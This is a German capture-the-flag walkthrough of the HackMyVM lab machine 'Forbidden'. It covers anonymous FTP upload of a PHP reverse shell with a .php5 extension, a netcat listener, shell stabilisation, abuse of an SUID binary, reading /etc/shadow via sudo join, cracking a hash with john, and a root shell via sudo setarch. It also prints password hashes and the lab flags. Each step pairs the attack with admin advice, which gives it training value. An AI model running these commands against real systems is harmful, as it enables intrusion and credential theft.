Forbidden - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
nmap
wget
cat
mv
ftp
ls
cd
put (ftp)
grep
nc (netcat)
curl
python3
export
find
su
sudo
join
john
setarch
bash

Inhaltsverzeichnis

Reconnaissance

Wir beginnen mit der Erkundungsphase, um das Zielsystem zu identifizieren und dessen Dienste zu scannen.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.114	08:00:27:08:c8:61	PCS Systemtechnik GmbH
[...]
                    

**Analyse:** Der ARP-Scan identifiziert die IP-Adresse 192.168.2.114.

**Bewertung:** Ziel-IP gefunden.

**Empfehlung (Pentester):** Ziel-IP für weitere Scans verwenden. **Empfehlung (Admin):** Standard Netzwerküberwachung.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
┌──(root㉿cyber)-[~] └─# cat /etc/hosts
127.0.0.1	localhost
[...]
192.168.2.114   forbidden.hmv
                    

**Analyse:** Der Hostname `forbidden.hmv` wird der IP 192.168.2.114 in der lokalen `/etc/hosts`-Datei zugeordnet.

**Bewertung:** Ermöglicht die Adressierung des Ziels über den Hostnamen.

**Empfehlung (Pentester):** Hostnamen verwenden. **Empfehlung (Admin):** DNS-Management.

┌──(root㉿cyber)-[~/forbidden] └─# nmap -sS -sC -T5 -sV -A 192.168.2.114 -p-
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-08 01:10 CEST
Nmap scan report for forbidden.hmv (192.168.2.114)
Host is up (0.00011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst:
[...]
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 0        0            4096 Oct 09  2020 www [NSE: writeable]
80/tcp open  http    nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:08:C8:61 (Oracle VirtualBox virtual NIC)
[...]
OS details: Linux 4.15 - 5.6
[...]
TRACEROUTE
HOP RTT     ADDRESS
1   0.11 ms forbidden.hmv (192.168.2.114)
[...]
zsh: segmentation fault  nmap -sS -sC -T5 -sV -A 192.168.2.114 -p-
                     

**Analyse:** Der Nmap-Scan (`-sS`, `-sC`, `-T5`, `-sV`, `-A`, `-p-`) findet zwei offene Ports: * Port 21 (FTP): vsftpd 3.0.3. Anonymer Login ist erlaubt (`Anonymous FTP login allowed`). Das Nmap-Skript (`-sC`) stellt außerdem fest, dass das Verzeichnis `www` im FTP-Root existiert und **beschreibbar** ist (`[NSE: writeable]`). * Port 80 (HTTP): Nginx 1.14.2. Die Seite hat keinen Titel. Der Nmap-Prozess stürzt am Ende wieder mit einem Segmentation Fault ab, was aber die Ergebnisse nicht beeinflusst.

**Bewertung:** Der anonyme FTP-Zugriff mit einem beschreibbaren Verzeichnis (`www`) ist ein kritischer Fund. Dies ermöglicht uns wahrscheinlich, Dateien in das Web-Root hochzuladen. Der Webserver selbst scheint initial keine besonderen Inhalte zu haben.

**Empfehlung (Pentester):** Den FTP-Server nutzen: 1. Mit `wget -r` oder `lftp` den Inhalt des FTP-Servers rekursiv herunterladen, um die Struktur und eventuelle Dateien (wie die `note.txt` aus dem `www`-Verzeichnis) zu sehen. 2. Überprüfen, ob das `www`-Verzeichnis auf dem FTP-Server dem Web-Root von Nginx auf Port 80 entspricht. 3. Versuchen, eine Webshell (PHP, PHP5, PHTML etc.) in das `www`-Verzeichnis hochzuladen und über Port 80 aufzurufen. **Empfehlung (Admin):** Anonymen FTP-Zugriff deaktivieren. Wenn FTP benötigt wird, nur authentifizierten Zugriff erlauben und Schreibrechte sehr restriktiv vergeben. Sicherstellen, dass das FTP-Verzeichnis nicht mit dem Web-Root identisch oder überlappend ist.

FTP Analysis & PHP Upload

Wir untersuchen den Inhalt des anonymen FTP-Servers und versuchen, eine PHP-Datei hochzuladen.

┌──(root㉿cyber)-[~/forbidden] └─# wget -r ftp://anonymous:anonymous@forbidden.hmv
--2022-10-08 01:12:02--  ftp://anonymous:*password*@forbidden.hmv/
           => forbidden.hmv/.listing
[...]
Anmelden als anonymous … Angemeldet!
[...]
fertig.

forbidden.hmv/.listing                          [ <=>                                            ]     180  --.-KB/s    in 0s
2022-10-08 01:12:02 (61.5 MB/s) - »forbidden.hmv/.listing« gespeichert [180]
                     
┌──(root㉿cyber)-[~/forbidden] └─# cat forbidden.hmv/www/note.txt
# Annahme: note.txt wurde heruntergeladen
Hi, Im the best admin of the world.
You cannot execute .php code on this server so you cannot
obtain a reverse shell. Not sure if its misconfigured another things... but
the importart is that php is disabled.

-marta
The extra-secured .jpg file contains my password but nobody can obtain it.
                      

**Analyse:** 1. Wir laden den Inhalt des FTP-Servers mit `wget -r` herunter. 2. Im heruntergeladenen `www`-Verzeichnis finden wir (vermutlich) eine `note.txt`. 3. Der Inhalt der Notiz von "marta" behauptet, dass PHP auf dem Server deaktiviert sei und man keine Reverse Shell bekommen könne. Sie erwähnt außerdem eine ".jpg"-Datei mit ihrem Passwort.

**Bewertung:** Die Notiz gibt uns wichtige Hinweise: Der Benutzer `marta` existiert. PHP (`.php`) ist möglicherweise wirklich deaktiviert, aber eventuell sind andere Endungen wie `.php5`, `.phtml` etc. noch aktiv oder der Nginx/PHP-FPM ist falsch konfiguriert. Die Erwähnung einer speziell gesicherten JPG-Datei mit einem Passwort ist verdächtig und könnte auf Steganographie oder andere Verstecktechniken hindeuten.

**Empfehlung (Pentester):** 1. Nach der erwähnten JPG-Datei suchen (auf dem FTP-Server oder im Web-Root). 2. Trotz der Behauptung versuchen, eine PHP-Shell hochzuladen, aber **andere Endungen** verwenden (z.B. `.php5`, `.phtml`, `.phar`). 3. Das beschreibbare `www`-Verzeichnis auf dem FTP-Server genauer untersuchen und die PHP-Shell dorthin hochladen. **Empfehlung (Admin):** Keine sensiblen Informationen oder Hinweise in öffentlich zugänglichen Dateien hinterlassen. PHP oder andere Skriptsprachen konsistent und sicher konfigurieren (oder deaktivieren, wenn nicht benötigt).

Wir versuchen, eine PHP-Reverse-Shell mit der Endung `.php5` hochzuladen.

# (Annahme: Eine PHP-Reverse-Shell wurde erstellt/heruntergeladen und in 'image.php5' umbenannt)
┌──(root㉿cyber)-[~/forbidden] └─# ftp forbidden.hmv
Connected to forbidden.hmv.
220 (vsFTPd 3.0.3)
Name (forbidden.hmv:cyber): anonymous
331 Please specify the password.
Password: [Enter]
230 Login successful.
[...]
                    
ftp> ls -la
[...]
drwxrwxrwx    2 0        0            4096 Oct 09  2020 www
[...]
                     
ftp> cd www
250 Directory successfully changed.
ftp> put image.php5
local: image.php5 remote: image.php5
[...]
150 Ok to send data.
100% |***********************************|  5495 [...]
226 Transfer complete.
5495 bytes sent in 00:00 [...]
                      
ftp> quit
221 Goodbye.

**Analyse:** Wir verbinden uns anonym per FTP, wechseln in das beschreibbare `www`-Verzeichnis und laden erfolgreich unsere vorbereitete PHP-Reverse-Shell unter dem Namen `image.php5` hoch.

**Bewertung:** Der Upload war erfolgreich. Nun müssen wir prüfen, ob der Webserver diese `.php5`-Datei ausführt.

**Empfehlung (Pentester):** Einen Listener für die Reverse Shell starten. Die hochgeladene Datei über den Webbrowser oder `curl` aufrufen (`http://forbidden.hmv/image.php5`). **Empfehlung (Admin):** Sicherstellen, dass der Webserver nur explizit erlaubte PHP-Endungen (`.php`) verarbeitet und andere (wie `.php5`, `.phtml`) ignoriert oder als Text ausliefert.

Initial Access (Reverse Shell via PHP5)

Wir starten einen Listener und versuchen, die hochgeladene `image.php5`-Datei über den Webserver auszuführen.

# (Shell-Konfiguration prüfen)
┌──(root㉿cyber)-[~] └─# grep port forbidden/image.php5
// This script will make an outbound TCP connection to a hardcoded IP and port.
$port = 9001;       // CHANGE THIS
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
printit("Successfully opened reverse shell to $ip:$port");
                      
# (Listener starten)
┌──(root㉿cyber)-[~] └─# nc -vlnp 9001
listening on [any] 9001 ...
# (Shell auslösen)
┌──(root㉿cyber)-[~/forbidden] └─# curl http://forbidden.hmv/image.php5
# (Kein Output von curl, da Shell verbindet)
# (Listener empfängt Verbindung)
┌──(root㉿cyber)-[~] └─# nc -vlnp 9001
listening on [any] 9001 ...
connect to [192.168.2.140] from (UNKNOWN) [192.168.2.114] 59732
Linux forbidden 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 GNU/Linux
[...]
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ # Shell als www-data erhalten!
                         
# (Shell Stabilisierung)
$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@forbidden:/$ export TERM=xterm
www-data@forbidden:/$ # Stabilisierte Shell

**Analyse:** 1. Wir überprüfen den Port (9001) in unserer `image.php5`-Datei. 2. Wir starten einen Netcat-Listener auf Port 9001. 3. Wir rufen die URL `http://forbidden.hmv/image.php5` mit `curl` auf. 4. Der Aufruf ist erfolgreich! Der Webserver (Nginx + PHP-FPM) führt die `.php5`-Datei aus. Unser Listener empfängt die Reverse Shell. 5. Wir erhalten eine Shell als `www-data` und stabilisieren sie.

**Bewertung:** Initial Access erfolgreich! Die Behauptung in der `note.txt`, dass PHP deaktiviert sei, war falsch oder bezog sich nur auf die `.php`-Endung. Der Server war jedoch so konfiguriert, dass er `.php5`-Dateien ausführt.

**Empfehlung (Pentester):** Umgebung als `www-data` enumerieren. **Empfehlung (Admin):** Webserver-Konfiguration überprüfen und sicherstellen, dass nur die notwendigen Dateiendungen als ausführbare Skripte behandelt werden. Nicht benötigte Handler (wie für `.php5`) entfernen.

Privilege Escalation (www-data to markos via SUID Binary)

Als `www-data` suchen wir nach Privesc-Vektoren.

# (Enumeration als www-data)
www-data@forbidden:/tmp$ cd /home/marta
www-data@forbidden:/home/marta$ ls -la
[...]
-rwsr-sr-x 1 root  marta 16712 Oct  9  2020 .forbidden # SUID & SGID Binary!
[...]
-rw-r--r-- 1 root  root    130 Oct  9  2020 hidden.c # Quellcode?
                      
# (Versuch, .forbidden auszuführen)
www-data@forbidden:/home/marta$ ./.forbidden
# (Kein Output oder Fehler, aber der Prompt ändert sich!) 
markos@forbidden:/home/marta$ # Shell als markos!

**Analyse:** 1. Wir wechseln in das Home-Verzeichnis von `marta` (der Benutzer aus der `note.txt`). 2. `ls -la` zeigt eine versteckte Datei namens `.forbidden`. Diese Datei gehört `root`, hat aber die Gruppe `marta`. Sie hat sowohl das SUID-Bit (`s` bei den Benutzerrechten) als auch das SGID-Bit (`s` bei den Gruppenrechten) gesetzt. Das bedeutet, sie läuft mit Root-Rechten und mit Gruppenrechten von `marta`. 3. Es gibt auch eine Datei `hidden.c`, die `root` gehört und wahrscheinlich der Quellcode für `.forbidden` ist (wir können sie als `www-data` aber nicht lesen). 4. Wir führen das Binary `./.forbidden` aus. 5. Anstatt einer Ausgabe ändert sich unser Shell-Prompt zu `markos@forbidden:/home/marta$`. Das SUID/SGID-Binary hat uns offenbar eine Shell als Benutzer `markos` gegeben.

**Bewertung:** Privilege Escalation von `www-data` zu `markos` erfolgreich! Das SUID/SGID-Binary `.forbidden` war der Schlüssel. Es hat wahrscheinlich intern `setuid`/`setgid` verwendet, um zu `markos` zu wechseln, oder enthielt eine andere Schwachstelle, die zur Shell führte.

**Empfehlung (Pentester):** Umgebung als `markos` enumerieren (`sudo -l`), User-Flag lesen. **Empfehlung (Admin):** SUID/SGID-Binaries extrem sorgfältig prüfen und nur verwenden, wenn absolut notwendig. Prinzip der geringsten Rechte anwenden. Verdächtige Binaries wie `.forbidden` entfernen.

Lateral Movement (markos to marta via Password Guessing)

Als `markos` lesen wir die User-Flag und suchen nach Wegen zu anderen Benutzern oder Root.

markos@forbidden:/home$ cd markos
markos@forbidden:/home/markos$ ls
user.txt
markos@forbidden:/home/markos$ cat user.txt
HMVpussycat
# (Untersuchung der JPG-Datei aus note.txt)
markos@forbidden:~/html$ ls -la /var/www/html
# Pfad zu Web-Root
[...]
-rwxrwxrwx 1 www-data www-data 33469 Oct  9  2020 TOPSECRETIMAGE.jpg
[...]
                      
# (Passwortraten für marta)
markos@forbidden:/home/markos$ su marta
Password: TOPSECRETIMAGE # Dateiname ohne .jpg als Passwort
marta@forbidden:/home/markos$ # Wechsel zu marta erfolgreich!
                       

**Analyse:** 1. Wir lesen die User-Flag für `markos`. 2. Wir erinnern uns an die `note.txt` von `marta`, die eine speziell gesicherte JPG-Datei mit ihrem Passwort erwähnte. Wir finden im Web-Root (`/var/www/html`) die Datei `TOPSECRETIMAGE.jpg`. 3. Wir versuchen, den Dateinamen ohne die Endung (`TOPSECRETIMAGE`) als Passwort für den Benutzer `marta` zu verwenden (`su marta`). 4. Der Versuch ist erfolgreich, und wir wechseln zum Benutzer `marta`.

**Bewertung:** Lateral Movement von `markos` zu `marta` erfolgreich! Das Passwort war, wie in der Notiz angedeutet, der Dateiname des "gesicherten" Bildes. Dies ist eine Form von Security through Obscurity und kein sicheres Verfahren.

**Empfehlung (Pentester):** Umgebung als `marta` enumerieren (`sudo -l`). **Empfehlung (Admin):** Niemals Passwörter in Dateinamen oder anderen obskuren, aber potenziell auffindbaren Orten speichern. Starke, zufällige Passwörter verwenden.

Lateral Movement (marta to peter via Hash Cracking)

Als `marta` suchen wir nach weiteren Rechten. Wir prüfen die `sudo`-Berechtigungen.

marta@forbidden:~$ sudo -l
Matching Defaults entries for marta on forbidden:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User marta may run the following commands on forbidden:
    (ALL) NOPASSWD: /usr/bin/join
                    
marta@forbidden:~$ sudo join -a 2 /etc/shadow /etc/shadow
# Missbrauch von join zum Lesen von /etc/shadow
root:$6$8nU2FdqnxRtT9mWF$9q7El.D7BDrlzNyYYPNqjTcwsQEsC7utrzszLgbe9V.3KqYSfx2XgqjIEeToP41TJTiZQOGVsdCzIAYHw5O.51:18544:0:99999:7:
daemon::18544:0:99999:7:::
bin::18544:0:99999:7:::
[...]
marta:$6$h.4ZF5esZ/N1OIcu$8vL1D3iM6iuhniSG8nIz0582atbIV6y/UBl0eks1.Wrd51BqLK8Wqt91WXg0Y2mrdNY4luPQkqUWXFXWxLVwe/:18544:0:99999:7:
markos:$6$PTerrFpyfOmkM5Xi$oo8gNZyyxsZbKhOIXrm2w/x.Xvhdr7Ny/4JgLDRLRAxAwEwGtH2kD7PjzeloAstqCPq/KKrqrPioMM8vwWbqZ.:18544:0:99999:7:
peter:$6$QAeWH9Et9PAJdYz/$/4VhburW9KoVTRY1Ry63wNEfr4rxwQGaRJ3kKW2nEAk0LcqjqZjy/m5rtaCi3VebNu7AaGFhQT4FBgbQVIyq81:18544:0:99999:7:
                     

**Analyse:** 1. `sudo -l` für `marta` zeigt, dass sie den Befehl `/usr/bin/join` als `ALL` (effektiv `root`) ohne Passwort ausführen darf. `join` wird normalerweise verwendet, um Zeilen aus zwei Dateien anhand gemeinsamer Felder zu verbinden. 2. Wir nutzen eine bekannte Technik (GTFOBins), um `join` zum Lesen von Dateien zu missbrauchen, auf die wir normalerweise keinen Zugriff haben. Der Befehl `sudo join -a 2 /etc/shadow /etc/shadow` (oder eine Variation davon) führt dazu, dass der Inhalt der `/etc/shadow`-Datei ausgegeben wird. 3. Wir extrahieren die Passwort-Hashes (SHA512crypt, `$6$`) für die Benutzer, insbesondere für `peter`.

**Bewertung:** Kritischer Fund! Die unsichere `sudo`-Regel für `join` ermöglichte das Auslesen der `/etc/shadow`-Datei. Wir haben nun die Passwort-Hashes aller lokalen Benutzer.

**Empfehlung (Pentester):** Die extrahierten Hashes (insbesondere den von `peter`) versuchen, offline mit `john` oder `hashcat` zu knacken. **Empfehlung (Admin):** Unsichere `sudo`-Regel für `join` entfernen. Dateilesebefehle oder Tools, die dazu missbraucht werden können, niemals über `sudo` erlauben.

Wir knacken den Hash für den Benutzer `peter`.

┌──(root㉿cyber)-[~/forbidden] └─# echo 'peter:$6$QAeWH9Et9PAJdYz/$/4VhburW9KoVTRY1Ry63wNEfr4rxwQGaRJ3kKW2nEAk0LcqjqZjy/m5rtaCi3VebNu7AaGFhQT4FBgbQVIyq81:18544:0:99999:7:' > hash
┌──(root㉿cyber)-[~/forbidden] └─# john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
[...]
boomer           (peter)
1g 0:00:00:00 DONE [...]
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
                       
# (Lateral Movement zu peter)
marta@forbidden:~$ su peter
Password: boomer
peter@forbidden:/home/marta$ # Wechsel erfolgreich!
                        

**Analyse:** 1. Wir speichern den Hash für `peter` im John-Format in einer Datei `hash`. 2. Wir verwenden `john` mit `rockyou.txt`, um den Hash zu knacken. Das Passwort wird erfolgreich als `boomer` gefunden. 3. Als `marta` verwenden wir `su peter` und geben das geknackte Passwort `boomer` ein, um zum Benutzer `peter` zu wechseln.

**Bewertung:** Lateral Movement von `marta` zu `peter` erfolgreich durch Offline-Knacken des Passwort-Hashes.

**Empfehlung (Pentester):** Umgebung als `peter` enumerieren (`sudo -l`). **Empfehlung (Admin):** Starke Passwörter verwenden, die nicht leicht zu knacken sind. Unsichere `sudo`-Regeln entfernen, die das Auslesen von Hashes ermöglichen.

Privilege Escalation (peter to root via sudo setarch)

Als Benutzer `peter` suchen wir den letzten Schritt zu Root.

peter@forbidden:/home/marta$ sudo -l
Matching Defaults entries for peter on forbidden:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User peter may run the following commands on forbidden:
    (ALL : ALL) NOPASSWD: /usr/bin/setarch
                     

**Analyse:** `sudo -l` für `peter` zeigt, dass er den Befehl `/usr/bin/setarch` als `ALL : ALL` (effektiv `root`) ohne Passwort (`NOPASSWD`) ausführen darf. `setarch` wird verwendet, um die gemeldete Architektur zu ändern und ein Programm in dieser Umgebung auszuführen.

**Bewertung:** Dies ist ein bekannter Vektor für Privilege Escalation. Laut GTFOBins kann `setarch` direkt zum Ausführen einer Shell als Root missbraucht werden.

**Empfehlung (Pentester):** Die auf GTFOBins beschriebene Methode anwenden: `sudo setarch $(arch) /bin/bash` (oder `/bin/sh`). **Empfehlung (Admin):** Unsichere `sudo`-Regel für `setarch` entfernen.

peter@forbidden:/home/marta$ sudo setarch x86_64 /bin/bash
# oder sudo setarch $(arch) /bin/bash
root@forbidden:/home/marta# # Root-Shell erhalten!
root@forbidden:/home/marta# cd ~
root@forbidden:~# ls
root.txt
root@forbidden:~# cat root.txt
HMVmymymymymind

**Analyse:** 1. Wir führen `sudo setarch x86_64 /bin/bash` aus (wobei `x86_64` die Architektur ist, `$(arch)` hätte das gleiche Ergebnis geliefert). `setarch` führt `/bin/bash` mit Root-Rechten aus. 2. Wir erhalten eine Root-Shell. 3. Wir wechseln ins Root-Home-Verzeichnis und lesen die `root.txt`.

**Bewertung:** Privilege Escalation zu Root erfolgreich durch Ausnutzung der unsicheren `sudo`-Regel für `setarch`.

**Empfehlung (Pentester):** Bericht abschließen. **Empfehlung (Admin):** Unsichere `sudo`-Regel entfernen.

Flags

cat /home/markos/user.txt
HMVpussycat
cat /root/root.txt
HMVmymymymymind